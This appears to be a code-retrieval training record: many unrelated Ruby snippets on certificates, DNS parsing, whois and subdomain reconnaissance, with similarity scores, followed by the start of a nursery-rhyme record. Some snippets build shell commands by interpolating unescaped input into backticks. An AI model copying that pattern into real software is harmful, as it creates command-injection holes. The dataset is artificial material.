"def get_universal_cert_domains\n [\n \"acquia-sites.com\",\n \"careers.talemetry.com\",\n \"cdn.myqcloud.com\",\n \"chinacloudsites.cn\",\n \"chinanetcenter.com\",\n \"cloudflare.com\",\n \"cloudflaressl.com\",\n \"distilnetworks.com\",\n \"edgecastcdn.net\",\n \"edlio.net\", # https://edlio.com/\n \"fastly.net\",\n \"freshdesk.com\",\n \"googlevideo.com\",\n \"helloworld.com\",\n \"hexagon-cdn.com\",# TODO - worth revisiting,may include related hosts\n \"incapsula.com\",\n \"jiveon.com\",\n \"kavasa.in\",\n \"lithium.com\",\n \"pantheon.io\",\n \"sucuri.net\",\n \"swagcache.com\",\n \"wpengine.com\",\n \"yottaa.net\",\n \"zohohost.com\"\n ]\n end",
"def cert_params\n params[:cert]\n end",
"def certificates\n http_path = \"http://localhost:8081/auth/realms/master/protocol/openid-connect/certs\"\n url = URI(http_path)\n http = Net::HTTP.new(url.host, url.port)\n # request = Net::HTTP::Post.new(url.to_s)\n request = Net::HTTP::Get.new(url.to_s)\n #request[\"authorization\"] = 'bearer ' + token\n #request[\"content-type\"] = 'application/json'\n #body = {}\n\n #request.body = body.to_json\n response = http.request(request)\n puts \"RESPONSE\", response.read_body\n response_json = parse_json(response.read_body)[0]\nend",
"def print(name)\n if cert = Puppet::SSL::Certificate.find(name)\n return cert.to_text\n else\n return nil\n end\n end",
"def cert; end",
"def cert; end",
"def cert; end",
"def to_s\n '#<Twilio.Messaging.V1.DomainCertsList>'\n end",
"def certs\n request :get, '/certs'\n end",
"def certificate_subject\n attributes[:certificate_subject]\n end",
"def compression_domain_name(dns_query, parsed_dns)\n buf = \"\"\n domain_array = []\n offset = dns_query[parsed_dns[:index],SHORT_LENGTH].unpack(\"n\")[0] & 0x3fff\n\n parsed_dns[:domain_name_dictionary].each do |domain_info|\n if domain_info[:first_index] >= offset\n domain_array << domain_info[:domain_name]\n break if domain_info[:domain_name].nil? or domain_info[:domain_name].include?(\".\")\n end\n end\n domain = domain_array.compact.join('.')\n return domain\n end",
"def parse_file(doc)\n address = doc[0]['ip'] + ':' + doc[0]['port']\n @host_results[address] = Hash.new\n \n\n\n #testSSL JSON files are an array of elements, it's nicer for this to be able to key off a hash of the id\n results = Hash.new\n doc.each {|element| results[element['id']] = element}\n\n #Get a list of the valid hostnames for the Certificat\n sans = results['san']['finding']\n sans.slice!('subjectAltName (SAN) : ')\n host_names = Array.new\n host_names << sans.split(' ')\n host_names << address.split('/')[0]\n\n @host_results[address]['port'] = results['service']['port']\n\n #Self Signed Certificate Checks\n if results['chain_of_trust']['finding'].downcase =~ /self signed/\n @host_results[address]['self_signed'] = true\n else\n @host_results[address]['self_signed'] = false\n end\n\n #Untrusted Issuer\n if results['chain_of_trust']['finding'].downcase =~ /all certificate trust checks failed/\n @host_results[address]['untrusted_issuer'] = true\n else\n @host_results[address]['untrusted_issuer'] = false\n end\n\n #Hostname Mismatch\n #if results['cn']['finding'].downcase =~ /(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\\.?/\n # hostname = results['cn']['finding'].slice(/(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\\.?/)\n # unless host_names.eql?(hostname)\n # @host_results[address]['hostname_mismatch'] = true\n # else\n # @host_results[address]['hostname_mismatch'] = false\n # end\n #end\n\n @host_results[address]['hostname_mismatch'] = \"Manual check needed\"\n @host_results[address]['cert_no_www'] = \"Manual check needed\"\n #Cert No WWW\n #if results['trust']['finding'].downcase =~ //\n # @host_results[address]['cert_no_www'] = true\n #else\n # @host_results[address]['cert_no_www'] = false\n #end\n\n #Expiration\n if results['expiration']['severity'] != \"OK\"\n @host_results[address]['expired_cert'] = true\n else\n @host_results[address]['expired_cert'] = false\n end\n\n #About to expire \n if results['expiration']['severity'] != \"OK\"\n @host_results[address]['cert_expiring_soon'] = true\n else\n @host_results[address]['cert_expiring_soon'] = false\n end\n\n #Wildcard Cert\n if results['cn']['finding'].downcase =~ /wildcard/\n @host_results[address]['wildcard_cert'] = true\n else\n @host_results[address]['wildcard_cert'] = false\n end\n\n\n #Public Key Size INFO is passed for 2048 bit key\n if results['key_size']['severity'] == \"INFO\" \n @host_results[address]['public_key_size'] = false\n else\n @host_results[address]['public_key_size'] = true\n end\n\n #SHA-1 Signed\n if results['algorithm']['finding'].downcase =~ /sha1/\n @host_results[address]['sha1_signed'] = true\n else\n @host_results[address]['sha1_signed'] = false\n end\n\n #Anonymous Ciphers\n if results['std_aNULL']['severity'] == \"OK\" && \n results['std_ADH']['severity'] == \"OK\"\n @host_results[address]['anonymous_ciphers'] = false\n else\n @host_results[address]['anonymous_ciphers'] = true\n end\n\n #Weak Ciphers\n if results['std_LOW']['severity'] == \"OK\" &&\n results['std_DES']['severity'] == \"OK\" && \n results['std_MEDIUM']['severity'] == \"OK\" && \n results['std_3DES']['severity'] == \"OK\"\n @host_results[address]['weak_ciphers'] = false\n else\n @host_results[address]['weak_ciphers'] = true\n end\n\n #RC4 Ciphers\n if results['rc4']['severity'] == \"OK\"\n @host_results[address]['rc4_ciphers'] = false\n else\n @host_results[address]['rc4_ciphers'] = true\n end\n\n #Weak Diffie Hellman\n if results['logjam']['severity'] == \"OK\"\n @host_results[address]['weak_dh'] = false\n else\n @host_results[address]['weak_dh'] = true\n end\n\n #Weak RSA\n if results['freak']['severity'] == \"OK\"\n @host_results[address]['weak_rsa'] = false\n else\n @host_results[address]['weak_rsa'] = true\n end\n\n #No PFS\n if results['pfs']['severity'] == \"OK\"\n @host_results[address]['no_pfs'] = false\n else\n @host_results[address]['no_pfs'] = true\n end\n\n #SSLv2\n if results['sslv2']['severity'] == \"OK\"\n @host_results[address]['sslv2_supported'] = false\n else\n @host_results[address]['sslv2_supported'] = true\n end\n\n #SSLv3\n if results['sslv3']['severity'] == \"OK\"\n @host_results[address]['sslv3_supported'] = false\n else\n @host_results[address]['sslv3_supported'] = true\n end\n\n #TLSv1 (there should be a better way to check this)\n if results['tls1']['severity'] == \"INFO\" &&\n (results['tls1_1']['severity'] != \"INFO\" &&\n results['tls1_2']['severity'] !=\"OK\")\n @host_results[address]['no_tls_v1_1_2'] = true\n else\n @host_results[address]['no_tls_v1_1_2'] = false\n end\n\n #Client Renegotation\n if results['sec_client_renego']['severity'] == \"OK\"\n @host_results[address]['client_renegotiation'] = false\n else\n @host_results[address]['client_renegotiation'] = true\n end\n\n if results['secure_renego']['severity'] == \"OK\"\n @host_results[address]['insecure_renegotiation'] = false\n else\n @host_results[address]['insecure_renegotiation'] = true\n end\n\n #Need to wrap this as not all output has this issue present in the file.\n begin\n if results['breach']['severity'] == \"OK\"\n @host_results[address]['compression'] = false\n else\n @host_results[address]['compression'] = true\n end\n rescue NoMethodError\n @host_results[address]['compression'] = false\n end\n\n if results['ccs']['severity'] == \"OK\"\n @host_results[address]['ccs_vuln'] = false\n else\n @host_results[address]['ccs_vuln'] = true\n end\n\n if results['beast']['severity'] == \"OK\"\n @host_results[address]['beast'] = false\n else\n @host_results[address]['beast'] = true\n end\n\n end",
"def extended_ssl_certificates(name)\n ssl_certificates(name).extend(OpenSSLExtensions::X509::Certificate)\n end",
"def get_certificate_alias(certificate)\n\n end",
"def to_s\n '#<Twilio.Messaging.V1.DomainCertsList>'\n end",
"def ssl_certificate_history(query)\n is_valid_with_error(__method__, [:ipv4, :hash], query)\n get('ssl-certificate/history', {'query' => query})\n end",
"def directorships\n certificates.select(&:director?).map(&:company)\n end",
"def get_all_ssl_certs(gear)\n args = build_base_gear_args(gear)\n result = execute_direct(@@C_CONTROLLER, 'ssl-certs', args)\n JSON.parse(parse_result(result).resultIO.string)\n end",
"def get_name(dns_query, parsed_dns)\n domain_array = []\n for l in 0 .. MAX_DOMAIN_NAME\n domain_str_num = dns_query[parsed_dns[:index]].unpack(\"C\")[0]\n if (domain_str_num & 0xc0) == 0xc0\n buf = compression_domain_name(dns_query, parsed_dns)\n parsed_dns[:domain_name_dictionary] << {:first_index => parsed_dns[:index], :domain_name => buf}\n domain_array << buf\n parsed_dns[:index] += SHORT_LENGTH\n break\n else\n break unless create_domain_array(dns_query, parsed_dns, domain_str_num, domain_array)\n end\n end\n return create_domain_name(domain_array)\n end",
"def certificate\n GeoCerts::Certificate.find_by_order_id(self.id)\n end",
"def cert_cn(crt)\n crt = OpenSSL::X509::Certificate.new crt if crt.is_a? String\n OpenSSL::X509::Name.new(crt.subject).to_a.find { |a| a.first == 'CN' }[1]\nend",
"def get_whois_nameservers(domain)\n whois_output = `whois #{domain}`\n soa = nil\n whois_lines = whois_output.split(/\\n+/)\n nameserver_lines = whois_lines.select { |line| line =~ /^Name Server:/ }\n nameservers = nameserver_lines.map { |line| line.split.last.downcase }.uniq\n # whois records don't have trail '.'; NS records do; add trailing '.'\n nameservers.map { |ns| ns << '.' }\n nameservers\nend",
"def get_cname_records\n Terminal.get_cname_records(@user_token, @access_token)\n end",
"def get_subdomains entity_name, api_key, headers, url\n\n response = http_get_body(url,nil,headers)\n json = JSON.parse(response)\n\n #check if entries different to null\n if json[\"count\"] != 0\n # Create subdomains\n json[\"cidr\"][\"cidr16\"][\"results\"].each do |e|\n e[\"data\"][\"domains\"].each do |s|\n _create_entity(\"DnsRecord\", \"name\" => s)\n end\n end\n # Create subdomains\n json[\"cidr\"][\"cidr24\"][\"results\"].each do |e|\n e[\"data\"][\"domains\"].each do |s|\n _create_entity(\"DnsRecord\", \"name\" => s)\n end\n end\n\n # Create list of related organizations\n json[\"data\"][\"as\"][\"results\"].each do |e|\n _create_entity(\"Organization\", \"name\" => e[\"entity\"][\"organization\"])\n end\n\n # Create list of related countrys\n json[\"data\"][\"country\"][\"results\"].each do |e|\n _create_entity(\"PhysicalLocation\", \"name\" => e[\"entity\"][\"value\"])\n end\n\n # Create list of related IPs\n json[\"data\"][\"ip\"][\"results\"].each do |e|\n _create_entity(\"IpAddress\", \"name\" => e[\"entity\"][\"value\"])\n end\n end\n end",
"def get_server_certificate(name)\n request({\n 'Action' => 'GetServerCertificate',\n 'ServerCertificateName' => name,\n :parser => Fog::Parsers::AWS::IAM::UploadServerCertificate.new\n })\n end",
"def sign_certificate_for(host = [])\n hostnames = []\n hosts = host.is_a?(Array) ? host : [host]\n puppet_version = on(master, puppet('--version')).stdout.chomp\n hosts.each do |current_host|\n if [master, dashboard, database].include? current_host\n on current_host, puppet('agent -t'), acceptable_exit_codes: [0, 1, 2]\n\n if version_is_less(puppet_version, '5.99')\n on master, puppet(\"cert --allow-dns-alt-names sign #{current_host}\"), acceptable_exit_codes: [0, 24]\n else\n on master, \"puppetserver ca sign --certname #{current_host}\"\n end\n else\n hostnames << Regexp.escape(current_host.node_name)\n end\n end\n\n if hostnames.size < 1\n if version_is_less(puppet_version, '5.99')\n on master, puppet('cert --sign --all --allow-dns-alt-names'),\n acceptable_exit_codes: [0, 24]\n else\n on master, 'puppetserver ca sign --all', acceptable_exit_codes: [0, 24]\n end\n return\n end\n\n while hostnames.size > 0\n last_sleep = 0\n next_sleep = 1\n 11.times do |i|\n if i == 10\n fail_test(\"Failed to sign cert for #{hostnames}\")\n hostnames.clear\n end\n\n if version_is_less(puppet_version, '5.99')\n on master, puppet('cert --sign --all --allow-dns-alt-names'), acceptable_exit_codes: [0, 24]\n out = on(master, puppet('cert --list --all')).stdout\n if hostnames.all? { |hostname| out =~ /\\+ \"?#{hostname}\"?/ }\n hostnames.clear\n break\n end\n else\n on master, 'puppetserver ca sign --all', acceptable_exit_codes: [0, 24]\n out = on(master, 'puppetserver ca list --all').stdout\n if out !~ /.*Requested.*/ && hostnames.all? { |hostname| out =~ /\\b#{hostname}\\b/ }\n hostnames.clear\n break\n end\n end\n\n sleep next_sleep\n (last_sleep, next_sleep) = next_sleep, last_sleep + next_sleep\n end\n end\n host\n end",
"def fetch_ssl_certificates\n run_command(\"ssl fetch\")\n rescue Runner::Exceptions::KnifeCommandFailed => e\n raise Runner::Exceptions::CertFetchFailed.new(e.message)\n end",
"def add_certificates(cert_names,created_by_id)\r\n JobSeekerCertificate.delete_all(\"job_seeker_id = '#{self.id}'\")\r\n for cert in cert_names\r\n cert_obj = Certificate.find_by_name(cert.strip)\r\n if cert_obj.nil?\r\n cert_obj = Certificate.new({:name=>cert,:created_by=>created_by_id,:user_type=>\"JobSeeker\"})\r\n end\r\n self.certificates << cert_obj\r\n end\r\n end",
"def subject_names\n ret = []\n if cn = self.subject_component('CN')\n ret << cn\n end\n # Merge in san_names if we got anything.\n if sn = self.san_names\n ret.concat(sn)\n end\n\n return ret.sort.uniq\n end",
"def certificate(common_name, pfx_file, key_type, password, optionals = {})\n command = []\n command << @adt_path\n command << \"-certificate\"\n command << \"-cn #{common_name}\"\n command << \"-ou #{optionals[:org_unit]}\" if !optionals[:org_unit].blank?\n command << \"-o #{optionals[:org]}\" if !optionals[:org].blank?\n command << \"-c #{optionals[:country]}\" if !optionals[:country].blank?\n command << key_type\n command << escape(pfx_file)\n command << password\n process(command)\n end",
"def get_nameservers (host)\n\t\tputs \"Retrieve a list of authoritative name server for: #{host}\" if @verbose\n\t\tbegin\n\t\t\tdomain=get_domain_root(host)\n\t\t\tw=Wmap::Whois.new\n\t\t\tns = w.query(domain).nameservers.map! { |x| x.name }\n\t\t\tif ns.empty?\n\t\t\t\tputs \"No name server found for domain root: #{domain}\" if @verbose\n\t\t\t\treturn nil\n\t\t\telse\n\t\t\t\treturn ns\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method get_nameservers for #{host}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def ssl_certs\n requires :identity\n\n service.ssl_certs.all(identity)\n end",
"def certificate(name)\n json = client.get(\"/v1/auth/cert/certs/#{encode_path(name)}\")\n return Secret.decode(json)\n rescue HTTPError => e\n return nil if e.code == 404\n raise\n end",
"def common_name\n subject = %x{echo \"#{self.certificate}\" | openssl x509 -noout -subject}\n subject.gsub(/^(.*)CN=/, '').strip\n end",
"def ssl_cert\n datastore['SSLCert']\n end",
"def initialize(comname)\n tcp_client = TCPSocket.new(comname, 443)\n ssl_client = OpenSSL::SSL::SSLSocket.new(tcp_client)\n ssl_client.hostname = comname\n ssl_client.connect\n cert = OpenSSL::X509::Certificate.new(ssl_client.peer_cert)\n ssl_client.sysclose\n tcp_client.close\n \n certgoods = OpenSSL::X509::Name.new(cert.issuer).to_a\n issuer = certgoods.select { |name, data, type| name == \"O\" }.first[1]\n @results = { \n valid_on: cert.not_before,\n valid_until: cert.not_after,\n issuer: issuer\n }\n end",
"def get_puppetdb_hosts\n curl = setup_curl(\"#{@puppetdb_url}/v3/nodes\")\n curl.get\n servers_junk = JSON.parse(curl.body_str)\n servers_array = []\n servers_junk.each { |server| servers_array << server['name'] }\n @puppetdb_hosts = servers_array\n end",
"def subject_alternative_names\n @_subject_alternative_names ||= begin\n if attribute = read_attributes_by_oid('extReq', 'msExtReq')\n set = OpenSSL::ASN1.decode(attribute.value)\n seq = set.value.first\n if sans = seq.value.collect { |asn1ext| OpenSSL::X509::Extension.new(asn1ext).to_a }.detect { |e| e.first == 'subjectAltName' }\n sans[1].gsub(/DNS:/,'').split(', ')\n else\n []\n end\n else\n []\n end\n end\n end",
"def query(item, limit=nil)\n threads = []\n @pdnsdbs.each do |pdnsdb|\n threads << Thread.new(item) do |q|\n pdnsdb.lookup(q, limit)\n end\n end\n \n results = []\n threads.each do |thr|\n rv = thr.join.value\n if rv\n rv.each do |r|\n if [\"A\",\"AAAA\",\"NS\",\"CNAME\",\"PTR\",\"SOA\"].index(r.rrtype)\n results << r\n end\n end\n end\n end\n \n return results\n end",
"def search_domain_on_same_ip(entity_name, headers)\n\n # Set the URL for ip data\n url = \"https://api.spyse.com/v3/data/domain/on_same_ip?limit=100&domain=#{entity_name}\"\n\n # make the request\n response = http_get_body(url,nil,headers)\n json = JSON.parse(response)\n\n json[\"data\"][\"items\"].each do |result|\n\n # Create Dnsrecords shared the same ip\n if result[\"name\"]\n create_dns_entity_from_string(result[\"name\"], nil, false, \n { \"extended_spyse\" => result})\n end\n\n # Create SslCertificate\n #if result[\"cert_summary\"][\"fingerprint_sha256\"]\n # _create_entity(\"SslCertificate\", \"name\" => result[\"cert_summary\"][\"fingerprint_sha256\"], \"extended_spyse\" => result[\"cert_summary\"])\n #end\n\n # Create related IpAddress, physical location and ISP organization\n if result[\"dns_records\"]\n result[\"dns_records\"][\"A\"].each do |ip_address|\n _create_entity(\"IpAddress\", { \"name\" => ip_address, \"extended_spyse\" => result } ) \n end\n end\n\n end\n end",
"def post_connection_check(peer_cert, hostname) # :nodoc:\n check_common_name = true\n cert = peer_cert\n cert.extensions.each{|ext|\n next if ext.oid != \"subjectAltName\"\n ext.value.split(/,\\s+/).each{|general_name|\n if /\\ADNS:(.*)/ =~ general_name\n check_common_name = false\n reg = Regexp.escape($1).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n elsif /\\AIP Address:(.*)/ =~ general_name\n check_common_name = false\n return true if $1 == hostname\n end\n }\n }\n if check_common_name\n cert.subject.to_a.each{|oid, value|\n if oid == \"CN\"\n reg = Regexp.escape(value).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n end\n }\n end\n raise SSL::SSLError, \"hostname was not match with the server certificate\"\n end",
"def certificate; end",
"def certificate; end",
"def extract_intermediate(certificates)\n certificate = certificates[1]\n\n if certificates.length > 3\n certificate = [certificate, certificates[2]]\n end\n\n certificate\n end",
"def get(certificate_thumbprint)\n cert_get(certificate_thumbprint)\n end",
"def ca_cert_string\n @ca_cert_string ||= begin\n return nil if ENV['VCAP_SERVICES'].blank?\n\n JSON.parse(ENV['VCAP_SERVICES'])['a9s-elasticsearch'].first['credentials']['cacrt']\n end\n end",
"def subdomains(query)\n get('enrichment/subdomains', {'query' => query})\n end",
"def pdb_get_facts(node_ip_hostname)\n keyed_facts = {}\n\n if test_env\n response = \"[{\\\"certname\\\":\\\"host-name-01.domain.com\\\",\\\"name\\\":\\\"trusted\\\",\\\"value\\\":{\\\"authenticated\\\":\\\"remote\\\",\\\"certname\\\":\\\"host-name-01.domain.com\\\",\\\"domain\\\":\\\"domain.com\\\",\\\"extensions\\\":{\\\"company_trusted_swimlane\\\":\\\"n/a\\\",\\\"pp_datacenter\\\":\\\"mtv\\\",\\\"pp_environment\\\":\\\"qa\\\",\\\"pp_product\\\":\\\"test\\\",\\\"pp_role\\\":\\\"rabbit_mq\\\"},\\\"hostname\\\":\\\"host-name-01\\\"},\\\"environment\\\":\\\"tier2\\\"},{\\\"certname\\\":\\\"puppet.upguard.org\\\",\\\"environment\\\":\\\"production\\\",\\\"name\\\":\\\"virtual\\\",\\\"value\\\":\\\"#{TEST_OS_VIRT_PLATFORM}\\\"},{\\\"certname\\\":\\\"puppet.upguard.org\\\",\\\"environment\\\":\\\"production\\\",\\\"name\\\":\\\"operatingsystemmajrelease\\\",\\\"value\\\":\\\"#{TEST_OS_MAJOR_RELEASE}\\\"},{\\\"certname\\\":\\\"puppet.upguard.org\\\",\\\"environment\\\":\\\"production\\\",\\\"name\\\":\\\"operatingsystem\\\",\\\"value\\\":\\\"#{TEST_OS}\\\"}]\"\n else\n response = `curl -X GET #{PUPPETDB_URL}/pdb/query/v4/nodes/#{node_ip_hostname}/facts -d 'query=[\"or\", [\"=\",\"name\",\"trusted\"], [\"=\",\"name\",\"virtual\"], [\"=\",\"name\",\"operatingsystem\"], [\"=\",\"name\",\"operatingsystemmajrelease\"]]' --tlsv1 --cacert /etc/puppetlabs/puppet/ssl/certs/ca.pem --cert /etc/puppetlabs/puppet/ssl/certs/#{COMPILE_MASTER_PEM} --key /etc/puppetlabs/puppet/ssl/private_keys/#{COMPILE_MASTER_PEM}`\n Puppet.info(\"#{log_prefix} trusted facts for #{node_ip_hostname} is: response=#{response}\")\n end\n\n if response.nil?\n return nil\n end\n facts = JSON.load(response)\n if !facts.is_a?(Array) && !facts.any?\n return nil\n end\n facts.each do |fact|\n keyed_facts[fact['name']] = fact\n end\n keyed_facts\n end",
"def servers_with_class(classname)\n hosts = []\n query = ['and', ['=', 'type', 'Class'], ['=', 'title', classname]]\n response = request('resources', query)\n response.each do |r|\n hostname = r['certname']\n hosts << hostname\n end\n\n hosts\nend",
"def index\n @certs = Cert.all\n end",
"def getNameserverIPs(domain, addrtype = Resolv::DNS::Resource::IN::A)\n myresolv = Resolv::DNS.new()\n\n nameserver_addresses=Array.new\n myresolv.each_resource(domain, Resolv::DNS::Resource::IN::NS) do |nsrsc|\n nameserver_addresses.push(myresolv.getresource(nsrsc.name, addrtype).address)\n end\n\n myresolv.close()\n\n return nameserver_addresses\nend",
"def get_parsed_dns( dns_query )\n begin\n parsed_dns = {\n :index => 0,\n :domain_name_dictionary => [],\n :dns_header_field => Hash.new(),\n :question_section => Hash.new(),\n :answer_section => Hash.new(),\n :authority_section => Hash.new(),\n :additional_section => Hash.new()\n }\n\n parsed_dns[:dns_header_field] = get_header_section(dns_query)\n parsed_dns[:index] = QUESTION_FIELD_START_INDEX\n parsed_dns[:question_section] = get_question_section(dns_query, parsed_dns)\n parsed_dns[:answer_section] = get_answer_resource_record(dns_query, parsed_dns)\n parsed_dns[:authority_section] = get_authority_resource_record(dns_query, parsed_dns)\n parsed_dns[:additional_section] = get_additional_resource_record(dns_query, parsed_dns)\n rescue\n end\n parsed_dns\n end",
"def resolve_names(lookup_name, lookup_types=[Dnsruby::Types::AAAA, Dnsruby::Types::A, Dnsruby::Types::CNAME, Dnsruby::Types::PTR])\n\n names = []\n x = resolve(lookup_name, lookup_types)\n x.each {|y| names << y[\"name\"] }\n\n names.uniq\n end",
"def cert2ip\n puppet_certname.scan(/dell_iom-(\\S+)/).flatten.first\n end",
"def list\n cf_get(path: \"#{uri_prefix}/virtual_dns\")\n end",
"def cert_chain(raw)\n rawchain = split_chain(raw)\n rawchain.map { |rawcert| OpenSSL::X509::Certificate.new(rawcert) }\n end",
"def fetch_certs_from_worksheet(worksheet) # class method\n\n domain_infos = Array.new\n\n (2..worksheet.num_rows).each do |row| # first row is header\n\n domain = worksheet[row, DOMAIN_COL]\n\n days_to_notify = fetch_csv_array(worksheet[row, DAYS_COL])\n\n # Don't use row if it is invalid\n if domain.empty? || !verify_domain(domain) || !int_array_check(days_to_notify)\n $stderr.puts(\"Error, row \" + row.to_s + \" of spreadsheet could not be parsed\")\n next\n end\n\n if days_to_notify.empty?\n days_to_notify = DEFAULT_DAYS\n elsif days_to_notify.size == 1 && days_to_notify[0] == SUPPRESSION_SIGNAL\n next\n else\n days_to_notify.map!(&:to_i)\n end\n\n begin\n expiry_date = fetch_expiry_date(domain)\n error = ''\n rescue => e\n expiry_date = ''\n error = e.inspect\n end\n\n pagerduty_keys = fetch_csv_array(worksheet[row, PAGERDUTY_COL])\n\n domain_infos.push(DomainInfo.new(domain, pagerduty_keys, expiry_date, days_to_notify, error))\n\n end\n\n return domain_infos\n end",
"def certification_name=(value)\n @certification_name = value\n end",
"def passive\n\tm=[]\n\n\t# Extract certificate details\n\tif @body =~ /^-----BEGIN CERTIFICATE-----/ and @body =~ /^-----END CERTIFICATE-----/ and @body =~ /Public Key Algorithm:/ and @body =~ /Signature Algorithm:/ and @body =~ /Issuer:/\n\n\t\tm << { :name=>\"SSL Cert Text\" }\n\t\tm << { :string=>@body.scan(/Issuer:[\\s]*([^\\r^\\n]+)/)[0].to_s+\" (\"+@body.scan(/RSA Public Key:[\\s]*\\(([^\\)]+)\\)/).flatten.first+\") (\"+@body.scan(/^[\\s]+Not After : ([^\\r^\\n]+)/).flatten.first+\")\" } if @body =~ /Issuer:[\\s]*([^\\r^\\n]+)/ and @body =~ /RSA Public Key:[\\s]*\\(([^\\)]+)\\)/ and @body =~ /^[\\s]+Not After : ([^\\r^\\n]+)/\n\n\tend\n\n\t# Content type\n\tm << { :string=>\"x-x509-ca-cert\" } if @headers[\"Content-Type\"] =~ /^[\\s]*application\\/x-x509-ca-cert/\n\n\tm\n\nend",
"def dns_responses\n decoded_responses = udp_packets_with_src_port(DNS_PORT).map { |p| Resolv::DNS::Message.decode(p.payload) }\n\n decoded_responses.each_with_object({}) do |response, memo|\n name = response.question.first.first.to_s\n memo[name] ||= []\n response.answer.each do |ans|\n case ans.last\n when Resolv::DNS::Resource::IN::CNAME\n memo[name] << ans.last.name\n when Resolv::DNS::Resource::IN::AAAA, Resolv::DNS::Resource::IN::A\n memo[name] << ans.last.address\n else\n puts ans.last\n end\n end\n end\n end",
"def report opts = { certificateStatus: :any }\n # Default is to request any certificate status since the API call will fail if no\n # options are passed\n opts = { certificateStatus: :any } if opts.empty?\n opts = _parse_report_opts(opts)\n\n post('report/v1/ssl-certificates', opts)['reports']\n end",
"def cert_store; end",
"def cert_store; end"
] |
[
"0.64783525",
"0.6236605",
"0.61883014",
"0.60686946",
"0.5965756",
"0.58277935",
"0.57840174",
"0.57155144",
"0.56514424",
"0.5544667",
"0.5510741",
"0.5498993",
"0.547499",
"0.54639333",
"0.5434128",
"0.5349916",
"0.53064936",
"0.5272128",
"0.52515805",
"0.5228193",
"0.5184005",
"0.5145432",
"0.5142986",
"0.51070154",
"0.51008487",
"0.50985104",
"0.5075297",
"0.5073092",
"0.50628334",
"0.5047779",
"0.50422716",
"0.5014156",
"0.5010479",
"0.49973452",
"0.49942783",
"0.4989884",
"0.4979223",
"0.49788105",
"0.49774864",
"0.49737063",
"0.49613112",
"0.49519187",
"0.49124363",
"0.49124363",
"0.49124363",
"0.49032167",
"0.49021983",
"0.48994493",
"0.48943558",
"0.48897508",
"0.48777995",
"0.48774976",
"0.48653606",
"0.4864357",
"0.4864192",
"0.4863161",
"0.48610786",
"0.4860892",
"0.48601854",
"0.4844158",
"0.4843193",
"0.4817613",
"0.4814862",
"0.4813356",
"0.48023683",
"0.47973824",
"0.47923777",
"0.4787841",
"0.4782543",
"0.47818905",
"0.47807282",
"0.4774574",
"0.4764351",
"0.47636604",
"0.47591737",
"0.47521582",
"0.47520748",
"0.47344142",
"0.47222108",
"0.4715928",
"0.4715928",
"0.47073758",
"0.46851796",
"0.468047",
"0.46659678",
"0.46560234",
"0.46534973",
"0.46534726",
"0.46443972",
"0.4634781",
"0.4632577",
"0.46227753",
"0.46146905",
"0.46081278",
"0.46076587",
"0.46052587",
"0.45974475",
"0.45970228",
"0.45963222",
"0.45944688",
"0.45944688"
] |
0.0
|
-1
|
but for 10 monkeys. Three little monkeys jumping on the bed, One fell off and bumped his head, Mama called the doctor and the doctor said, "No more monkeys jumping on the bed!" takes the number of monkeys 'n' and outputs a nusery rhyme
|
def monkey(n)
i = n
loop do
if i > 1
p "#{i} little monkeys jumping on the bed,"
p "One fell off and bumped his head,"
p "Mama called the doctor and the doctor said,"
p "No more monkeys jumping on the bed"
else
p "#{i} little monkey jumping on the bed,"
p "One fell off and bumped his head,"
p "Mama called the doctor and the doctor said,"
p "Get those monkeys right to bed!"
return 0
end
i -= 1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def little_monkeys(num)\n i = num\n num.times do\n # For the last monkey, the nursery line is different\n if (i == 1)\n print \"#{i} little monkey jumping on the bed.\\n He fell off and bumped his head,\\n Mama called the doctor and the doctor said,\\n Get those monkeys right to bed!\\n\"\n else\n print \"#{i} little monkeys jumping on the bed.\\n One fell off and bumped his head,\\n Mama called the doctor and the doctor said,\\n No more monkeys jumping on the bed!\\n\"\n end\n i -= 1\n end\nend",
"def monkeys(number)\n\n number_to_string = {\n 1000000 => \"million\",\n 1000 => \"thousand\",\n 100 => \"hundred\",\n 90 => \"ninety\",\n 80 => \"eighty\",\n 70 => \"seventy\",\n 60 => \"sixty\",\n 50 => \"fifty\",\n 40 => \"fourty\",\n 30 => \"thirty\",\n 20 => \"twenty\",\n 19 => \"nineteen\",\n 18 => \"eighteen\",\n 17 => \"seventeen\",\n 16 => \"sixteen\",\n 15 => \"fifteen\",\n 14 => \"fourteen\",\n 13 => \"thirteen\",\n 12 => \"twelve\",\n 11 => \"eleven\",\n 10 => \"ten\",\n 9 => \"nine\",\n 8 => \"eight\",\n 7 => \"seven\",\n 6 => \"six\",\n 5 => \"five\",\n 4 => \"four\",\n 3 => \"three\",\n 2 => \"two\",\n 1 => \"one\"\n }\n\n # Puts the argument into a list that counts down to 1\n numbers = (1..number).to_a.reverse\n numbers.each do |number|\n if number == 1\n puts \"One little monkey jumping on the bed,\"\n puts \"He fell off and bumped his head,\"\n puts \"Mama called the doctor and the doctor said,\"\n puts '\"Get those monkeys right to bed!\"'\n elsif number_to_string.include? number\n name = number_to_string[number]\n puts \"#{name.capitalize} little monkeys jumping on the bed,\"\n puts \"One fell off and bumped his head,\"\n puts \"Mama called the doctor and the doctor said,\"\n puts '\"No more monkeys jumping on the bed!\"'\n puts \"\"\n # elsif... Not sure how to check for values beyond 20 without some stupidly long code that converts the integer into a string.. Splits the string into a new array.. Checks the length of the array, then checks the first value.. If the length of the array is 2, it multiplys the first value by 10, finds the name from number_to_string , and appends the output into a new string.. Then concatenates the 2nd value.. \n # If the length is 3.. I'd have to append the name of the first number.. add \"hundred\" then repeat the 'if the length is 2' statment\n end\n end\nend",
